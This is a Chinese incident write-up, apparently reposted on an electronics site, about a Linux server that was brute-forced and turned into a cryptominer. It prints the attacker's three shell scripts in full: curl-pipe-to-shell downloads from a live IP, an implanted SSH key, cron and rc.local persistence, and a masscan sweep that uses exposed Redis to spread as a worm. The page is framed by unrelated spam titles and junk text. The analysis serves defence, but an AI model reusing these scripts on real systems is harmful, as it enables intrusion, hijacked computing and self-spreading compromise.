在线观看www成人影院-在线观看www日本免费网站-在线观看www视频-在线观看操-欧美18在线-欧美1级

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

Linux服務(wù)器被入侵導(dǎo)致凍結(jié)的過程

Linux愛好者 ? 來源:看雪論壇 ? 作者:Hefe ? 2021-09-01 16:11 ? 次閱讀

來自:看雪論壇,作者:Hefe

https://bbs.pediy.com/thread-225163.htm

不一會運(yùn)維的同事也到了,氣喘吁吁的說:我們有臺服務(wù)器被阿里云凍結(jié)了,理由:對外惡意發(fā)包。

我放下酸菜餡的包子,SSH 連了一下,被拒絕了,問了下默認(rèn)的 22 端口被封了。

讓運(yùn)維的同事把端口改了一下,立馬連上去,順便看了一下登錄名 :root,還有不足 8 位的小白密碼,心里一涼:被黑了!

查找線索

服務(wù)器系統(tǒng) CentOS 6.X,部署了 Nginx,Tomcat,Redis 等應(yīng)用,上來先把數(shù)據(jù)庫全備份到本地,然后 Top 命令看了一下,有 2 個 99% 的同名進(jìn)程還在運(yùn)行,叫 gpg-agentd。

Google 了一下 GPG,結(jié)果是:GPG 提供的 gpg-agent 提供了對 SSH 協(xié)議的支持,這個功能可以大大簡化密鑰的管理工作。

看起來像是一個很正經(jīng)的程序嘛,但仔細(xì)再看看服務(wù)器上的進(jìn)程后面還跟著一個字母 d,偽裝的很好,讓人想起來 Windows 上各種看起來像 svchost.exe 的病毒。

繼續(xù)排查:

ps eho command -p 23374netstat -pan | grep 23374

查看 pid:23374 進(jìn)程啟動路徑和網(wǎng)絡(luò)狀況,也就是來到了圖 1 的目錄,到此已經(jīng)找到了黑客留下的二進(jìn)制可執(zhí)行文件。

接下來還有 2 個問題在等著我:

文件是怎么上傳的?

這個文件的目的是什么,或是黑客想干嘛?

History 看一下,記錄果然都被清掉了,沒留下任何痕跡。繼續(xù)命令 more messages:

看到了在半夜 12 點(diǎn)左右,在服務(wù)器上裝了很多軟件,其中有幾個軟件引起了我的注意,下面詳細(xì)講。

邊找邊猜,如果我們要做壞事,大概會在哪里做文章,自動啟動?定時啟動?對,計(jì)劃任務(wù):

crontab -e

果然,線索找到了。

作案動機(jī)

上面的計(jì)劃任務(wù)的意思就是每 15 分鐘去服務(wù)器上下載一個腳本,并且執(zhí)行這個腳本。

我們把腳本下載下來看一下:

curl -fsSL 159.89.190.243/ash.php 》 ash.sh

腳本內(nèi)容如下:

uname -a

id

hostname

setenforce 0 2》/dev/null

ulimit -n 50000

ulimit -u 50000

crontab -r 2》/dev/null

rm -rf /var/spool/cron/* 2》/dev/null

mkdir -p /var/spool/cron/crontabs 2》/dev/null

mkdir -p /root/.ssh 2》/dev/null

echo ‘ssh-rsa

AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx

redisX’ 》 /root/.ssh/authorized_keys

echo ‘*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh’ 》 /var/spool/cron/root

echo ‘*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh’ 》 /var/spool/cron/crontabs/root

yum install -y bash 2》/dev/null

apt install -y bash 2》/dev/null

apt-get install -y bash 2》/dev/null

bash -c ‘curl -fsSL 159.89.190.243/bsh.php|bash’ 2》/dev/null

大致分析一下該腳本的主要用途:首先是關(guān)閉 SELinux,解除 Shell 資源訪問限制,然后在 /root/.ssh/authorized_keys 文件中生成 SSH 公鑰。

這樣每次黑客登錄這臺服務(wù)器就可以免密碼登錄了,執(zhí)行腳本就會方便很多。

接下來安裝 Bash,最后是繼續(xù)下載第二個腳本 bsh.php,并且執(zhí)行。繼續(xù)下載并分析 bsh.pbp,內(nèi)容如下:

sleep $( seq 3 7 | sort -R | head -n1 )

cd /tmp || cd /var/tmp

sleep 1

mkdir -p .ICE-unix/。.. && chmod -R 777 .ICE-unix && cd .ICE-unix/。..

sleep 1

if [ -f .watch ]; then

rm -rf .watch

exit 0

fi

sleep 1

echo 1 》 .watch

sleep 1

ps x | awk ‘!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}’ | xargs kill -9 2》/dev/null

ps x | awk ‘!/awk/ && /barad_agent|masscan|.sr0|clay|udevs|.sshd|xig/ {print $1}’ | xargs kill -9 2》/dev/null

sleep 1

if ! [ -x /usr/bin/gpg-agentd ]; then

curl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.db

echo ‘/usr/bin/gpg-agentd’ 》 /etc/rc.local

echo ‘curl -fsSL 159.89.190.243/ash.php|sh’ 》》 /etc/rc.local

echo ‘exit 0’ 》》 /etc/rc.local

fi

sleep 1

chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd

sleep 1

if ! [ -x “$(command -v masscan)” ]; then

rm -rf /var/lib/apt/lists/*

rm -rf x1.tar.gz

if [ -x “$(command -v apt-get)” ]; then

export DEBIAN_FRONTEND=noninteractive

apt-get update -y

apt-get install -y debconf-doc

apt-get install -y build-essential

apt-get install -y libpcap0.8-dev libpcap0.8

apt-get install -y libpcap*

apt-get install -y make gcc git

apt-get install -y redis-server

apt-get install -y redis-tools

apt-get install -y redis

apt-get install -y iptables

apt-get install -y wget curl

fi

if [ -x “$(command -v yum)” ]; then

yum update -y

yum install -y epel-release

yum update -y

yum install -y git iptables make gcc redis libpcap libpcap-devel

yum install -y wget curl

fi

sleep 1

curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz

sleep 1

[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd 。. && rm -rf masscan-1.0.4

fi

sleep 3 && rm -rf .watch

bash -c ‘curl -fsSL 159.89.190.243/rsh.php|bash’ 2》/dev/null

這段腳本的代碼比較長,但主要的功能有 4 個:

下載遠(yuǎn)程代碼到本地,添加執(zhí)行權(quán)限,chmod u+x。

修改 rc.local,讓本地代碼開機(jī)自動執(zhí)行。

下載 Github 上的開源掃描器代碼,并安裝相關(guān)的依賴軟件,也就是我上面的 Messages 里看到的記錄。

下載第三個腳本,并且執(zhí)行。

我去 Github 上看了下這個開源代碼,簡直吊炸天:

Transmitting 10 Million Packets Per Second(每秒發(fā)送 1000 萬個數(shù)據(jù)包),比 nmap 速度還要快,這就不難理解為什么阿里云把服務(wù)器凍結(jié)了。

大概看了下 Readme 之后,我也沒有細(xì)究,繼續(xù)下載第三個腳本:

setenforce 0 2》/dev/null

ulimit -n 50000

ulimit -u 50000

sleep 1

iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2》/dev/null

iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2》/dev/null

sleep 1

rm -rf .dat .shard .ranges .lan 2》/dev/null

sleep 1

echo ‘config set dbfilename “backup.db”’ 》 .dat

echo ‘save’ 》》 .dat

echo ‘flushall’ 》》 .dat

echo ‘set backup1 “

*/2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh

”’ 》》 .dat

echo ‘set backup2 “

*/3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh

”’ 》》 .dat

echo ‘set backup3 “

*/4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh

”’ 》》 .dat

echo ‘set backup4 “

*/5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh

”’ 》》 .dat

echo ‘config set dir “/var/spool/cron/”’ 》》 .dat

echo ‘config set dbfilename “root”’ 》》 .dat

echo ‘save’ 》》 .dat

echo ‘config set dir “/var/spool/cron/crontabs”’ 》》 .dat

echo ‘save’ 》》 .dat

sleep 1

masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2》/dev/null | awk ‘{print $6, substr($4, 1, length($4)-4)}’ | sort | uniq 》 .shard

sleep 1

while read -r h p; do

cat .dat | redis-cli -h $h -p $p --raw 2》/dev/null 1》/dev/null &

done 《 .shard

sleep 1

masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2》/dev/null | awk ‘{print $6, substr($4, 1, length($4)-4)}’ | sort | uniq 》 .ranges

sleep 1

while read -r h p; do

cat .dat | redis-cli -h $h -p $p --raw 2》/dev/null 1》/dev/null &

done 《 .ranges

sleep 1

ip a | grep -oE ‘([0-9]{1,3}。?){4}/[0-9]{2}’ 2》/dev/null | sed ‘s//([0-9]{2})//16/g’ 》 .inet

sleep 1

masscan --max-rate 10000 -p6379,6380 -iL .inet | awk ‘{print $6, substr($4, 1, length($4)-4)}’ | sort | uniq 》 .lan

sleep 1

while read -r h p; do

cat .dat | redis-cli -h $h -p $p --raw 2》/dev/null 1》/dev/null &

done 《 .lan

sleep 60

rm -rf .dat .shard .ranges .lan 2》/dev/null

如果說前兩個腳本只是在服務(wù)器上下載執(zhí)行了二進(jìn)制文件,那這個腳本才真正顯示病毒的威力。下面就來分析這個腳本。

一開始的修改系統(tǒng)環(huán)境沒什么好說的,接下來的寫文件操作有點(diǎn)眼熟,如果用過 Redis 的人,應(yīng)該能猜到,這里是對 Redis 進(jìn)行配置。

寫這個配置,自然也就是利用了 Redis 把緩存內(nèi)容寫入本地文件的漏洞,結(jié)果就是用本地的私鑰去登陸被寫入公鑰的服務(wù)器了,無需密碼就可以登陸,也就是我們文章最開始的 /root/.ssh/authorized_keys。

登錄之后就開始定期執(zhí)行計(jì)劃任務(wù),下載腳本。好了,配置文件準(zhǔn)備好了,就開始利用 Masscan 進(jìn)行全網(wǎng)掃描 Redis 服務(wù)器,尋找肉雞。

注意看這 6379 就是 Redis 服務(wù)器的默認(rèn)端口,如果你的 Redis 的監(jiān)聽端口是公網(wǎng) IP 或是 0.0.0.0,并且沒有密碼保護(hù),不好意思,你就中招了。

總結(jié)

通過依次分析這 3 個腳本,就能看出這個病毒的可怕之處,先是通過寫入 ssh public key 拿到登錄權(quán)限,然后下載執(zhí)行遠(yuǎn)程二進(jìn)制文件,最后再通過 Redis 漏洞復(fù)制,迅速在全網(wǎng)傳播,以指數(shù)級速度增長。

那么問題是,這臺服務(wù)器是怎么中招的呢?看了下 redis.conf,Bind 的地址是 127.0.0.1,沒啥問題。

由此可以推斷,應(yīng)該是 Root 帳號被暴力破解了,為了驗(yàn)證我的想法,我 Lastb 看了一下,果然有大量的記錄:

還剩最后一個問題,這個 gpg-agentd 程序到底是干什么的呢?我當(dāng)時的第一個反應(yīng)就是礦機(jī),因?yàn)楝F(xiàn)在數(shù)字貨幣太火了,加大了分布式礦機(jī)的需求,也就催生了這條灰色產(chǎn)業(yè)鏈。

于是,順手把這個 gpg-agentd 拖到 Ida 中,用 String 搜索 bitcoin,eth,mine 等相關(guān)單詞,最終發(fā)現(xiàn)了這個:

打開 nicehash.com 看一下,一切都清晰了:

安全建議

服務(wù)器:

禁用 ROOT

用戶名和密碼盡量復(fù)雜

修改 SSH 的默認(rèn) 22 端口

安裝 DenyHosts 防暴力破解軟件

禁用密碼登錄,使用 RSA 公鑰登錄

Redis:

禁用公網(wǎng) IP 監(jiān)聽,包括 0.0.0.0

使用密碼限制訪問 Redis

使用較低權(quán)限帳號運(yùn)行 Redis

到此,整個入侵過程基本分析完了,如果大家對樣本有興趣,也可以自行去 Curl,或是去虛擬機(jī)執(zhí)行上面的腳本。鑒于本人能力有限,文中難免會出現(xiàn)疏忽或是錯誤,還請大家多多指正。

責(zé)任編輯:haq

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • Linux
    +關(guān)注

    關(guān)注

    87

    文章

    11322

    瀏覽量

    209872
  • 服務(wù)器
    +關(guān)注

    關(guān)注

    12

    文章

    9239

    瀏覽量

    85677

原文標(biāo)題:記一次 Linux 服務(wù)器被入侵變“礦機(jī)”全過程

文章出處:【微信號:LinuxHub,微信公眾號:Linux愛好者】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏

    評論

    相關(guān)推薦

    termius如何使用,termius如何使用的過程,linux服務(wù)器遠(yuǎn)程連接的實(shí)用教程

    ? ?? ? ?隨著技術(shù)的不斷進(jìn)步,服務(wù)器遠(yuǎn)程連接技術(shù)也在不斷提升其性能和安全性,以滿足企業(yè)日益增長的需求。本文將和大家一起討論termius如何使用的過程以及Linux遠(yuǎn)程桌面
    的頭像 發(fā)表于 12-19 11:31 ?158次閱讀
    termius如何使用,termius如何使用的<b class='flag-5'>過程</b>,<b class='flag-5'>linux</b><b class='flag-5'>服務(wù)器</b>遠(yuǎn)程連接的實(shí)用教程

    服務(wù)器數(shù)據(jù)恢復(fù)—異常斷電導(dǎo)致linux系統(tǒng)無法啟動的數(shù)據(jù)恢復(fù)案例

    服務(wù)器數(shù)據(jù)恢復(fù)環(huán)境: 某品牌服務(wù)器+同品牌存儲,Linux centos7+EXT4文件系統(tǒng)。 服務(wù)器故障: 意外斷電導(dǎo)致
    的頭像 發(fā)表于 10-25 17:42 ?370次閱讀

    服務(wù)器數(shù)據(jù)恢復(fù)—Linux網(wǎng)站服務(wù)器硬盤出現(xiàn)壞扇區(qū)的數(shù)據(jù)恢復(fù)案例

    服務(wù)器數(shù)據(jù)恢復(fù)環(huán)境: 一臺linux操作系統(tǒng)網(wǎng)站服務(wù)器,該服務(wù)器上部署了幾十個網(wǎng)站,使用一塊SATA硬盤。 服務(wù)器故障&原因:
    的頭像 發(fā)表于 10-09 16:26 ?229次閱讀

    如何優(yōu)化Linux服務(wù)器的性能

    優(yōu)化Linux服務(wù)器的性能是一個綜合性的任務(wù),涉及硬件、軟件、配置、監(jiān)控等多個方面。以下是一個詳細(xì)的指南,旨在幫助系統(tǒng)管理員和運(yùn)維人員提升Linux服務(wù)器的性能和穩(wěn)定性。
    的頭像 發(fā)表于 09-29 16:50 ?333次閱讀

    服務(wù)器數(shù)據(jù)恢復(fù)—硬盤出現(xiàn)壞扇區(qū)導(dǎo)致網(wǎng)站服務(wù)器宕機(jī)的數(shù)據(jù)恢復(fù)案例

    服務(wù)器數(shù)據(jù)恢復(fù)環(huán)境: 一臺linux操作系統(tǒng)服務(wù)器上跑了幾十個網(wǎng)站,服務(wù)器上只有一塊SATA硬盤。 服務(wù)器故障:
    的頭像 發(fā)表于 09-12 12:02 ?252次閱讀

    Linux服務(wù)器性能查看方法

    Linux服務(wù)器性能查看是系統(tǒng)管理員和開發(fā)人員在日常工作中經(jīng)常需要進(jìn)行的任務(wù),以確保系統(tǒng)穩(wěn)定運(yùn)行并優(yōu)化資源使用。以下將詳細(xì)介紹多種Linux服務(wù)器性能查看的方法,這些方法涵蓋了CPU、
    的頭像 發(fā)表于 09-02 11:15 ?1143次閱讀

    服務(wù)器數(shù)據(jù)恢復(fù)—xfs文件系統(tǒng)服務(wù)器數(shù)據(jù)恢復(fù)案例

    某公司一臺服務(wù)器,連接了一臺存儲。該服務(wù)器安裝linux操作系統(tǒng),文件系統(tǒng)為xfs。 在運(yùn)行過程中該服務(wù)器出現(xiàn)故障,管理員使用xfs_re
    的頭像 發(fā)表于 08-19 10:49 ?314次閱讀

    服務(wù)器數(shù)據(jù)恢復(fù)—搬遷導(dǎo)致服務(wù)器無法識別raid的數(shù)據(jù)恢復(fù)案例

    某單位機(jī)房搬遷,將所有服務(wù)器和存儲搬遷到新機(jī)房并重新連接線路,啟動所有機(jī)器發(fā)現(xiàn)其中有一臺服務(wù)器無法識別RAID,提示未做初始化操作。 發(fā)生故障的這臺服務(wù)器安裝LINUX操作系統(tǒng),配置
    的頭像 發(fā)表于 07-25 16:34 ?434次閱讀

    服務(wù)器入侵現(xiàn)象、排查和處理步驟

    近期有一個朋友的服務(wù)器(自己做了網(wǎng)站)好像遭遇了入侵,具體現(xiàn)象是: 服務(wù)器 CPU 資源長期 100%,負(fù)載較高。 服務(wù)器上面的服務(wù)不能正常
    發(fā)表于 03-22 10:56 ?1137次閱讀
    <b class='flag-5'>服務(wù)器</b><b class='flag-5'>入侵</b>現(xiàn)象、排查和處理步驟

    服務(wù)器數(shù)據(jù)恢復(fù)—異常斷電導(dǎo)致服務(wù)器raid卡硬件損壞的數(shù)據(jù)恢復(fù)案例

    由于機(jī)房多次斷電導(dǎo)致一臺服務(wù)器中raid陣列信息丟失。該陣列中存放的是文檔,上層安裝的是Windows server操作系統(tǒng),沒有配置ups。 因?yàn)?b class='flag-5'>服務(wù)器異常斷電重啟后,raid陣列可以正常
    的頭像 發(fā)表于 03-20 17:38 ?792次閱讀

    服務(wù)器數(shù)據(jù)恢復(fù)—分享幾個服務(wù)器數(shù)據(jù)恢復(fù)的案例

    服務(wù)器數(shù)據(jù)恢復(fù)案例之服務(wù)器raid6中3個磁盤離線導(dǎo)致陣列崩潰的數(shù)據(jù)恢復(fù)案例;服務(wù)器數(shù)據(jù)恢復(fù)案例之服務(wù)器RAID5兩個磁盤指示燈顯示紅色
    的頭像 發(fā)表于 03-04 13:21 ?1193次閱讀

    服務(wù)器數(shù)據(jù)恢復(fù)-異常斷電導(dǎo)致服務(wù)器故障的數(shù)據(jù)恢復(fù)案例

    服務(wù)器數(shù)據(jù)恢復(fù)環(huán)境: dell某型號服務(wù)器中有一組通過raid卡組建的raid10,該raid陣列中一共有4塊磁盤。上層部署XenServer虛擬化平臺,作為網(wǎng)站服務(wù)器使用。 服務(wù)器
    的頭像 發(fā)表于 02-28 15:15 ?873次閱讀
    <b class='flag-5'>服務(wù)器</b>數(shù)據(jù)恢復(fù)-異常斷電<b class='flag-5'>導(dǎo)致</b><b class='flag-5'>服務(wù)器</b>故障的數(shù)據(jù)恢復(fù)案例

    服務(wù)器數(shù)據(jù)恢復(fù)】硬盤壞道掉線導(dǎo)致服務(wù)器崩潰的數(shù)據(jù)恢復(fù)案例

    服務(wù)器數(shù)據(jù)恢復(fù)環(huán)境: 一臺IBM某型號服務(wù)器上有16塊FC硬盤組建RAID陣列。上層linux操作系統(tǒng),ext3文件系統(tǒng),部署有oracle數(shù)據(jù)庫。 服務(wù)器故障&檢測:
    的頭像 發(fā)表于 02-26 11:36 ?875次閱讀

    linux服務(wù)器和windows服務(wù)器

    Linux服務(wù)器和Windows服務(wù)器是目前應(yīng)用最廣泛的兩種服務(wù)器操作系統(tǒng)。兩者各有優(yōu)劣,也適用于不同的應(yīng)用場景。本文將 對Linux
    發(fā)表于 02-22 15:46

    服務(wù)器數(shù)據(jù)恢復(fù)—非正常關(guān)機(jī)導(dǎo)致服務(wù)器文件丟失的數(shù)據(jù)恢復(fù)案例

    ;分析: 服務(wù)器在運(yùn)行過程中自動關(guān)機(jī)且無法啟動,服務(wù)器管理員對服務(wù)器進(jìn)行修復(fù)后成功啟動服務(wù)器,但服務(wù)器
    的頭像 發(fā)表于 01-19 13:42 ?548次閱讀
    主站蜘蛛池模板: 国模人体一区二区三区| 久久久国产乱子伦精品| 黑人一区二区三区中文字幕| 大尺度在线播放| 国产亚洲视频在线| 在线视频亚洲色图| 久久精彩免费视频| 老司机狠狠k免费毛片| 国产精品天天操| 国产吧在线视频| 欧美精品国产第一区二区| 亚洲国产高清人在线| 性视频软件| 亚洲四虎永久在线播放| 色婷婷激情五月| 天天操夜夜操天天操| 国产精品久久久久久久久免费hd| 一级毛片黄色| 亚欧美综合| 又粗又大又爽又色又过瘾视频 | 日本一区二区不卡在线| 九九热精品在线视频| 五夜婷婷| 午夜五月天| 性毛片| 日本三浦理惠子中文字幕| 四虎最新网站| 欧美1314www伊人久久香网| 国产精品美女免费视频大全 | 一色屋成人免费精品网站| 色的视频网站| 日韩精品一级毛片| 黄色一级片网址| 天天曰天天干天天操| 国产精品成人观看视频国产奇米| 激情综合亚洲| 一本到视频在线| 台湾毛片| 狠狠干天天色| 亚洲黄网在线| 在线中文字幕第一页|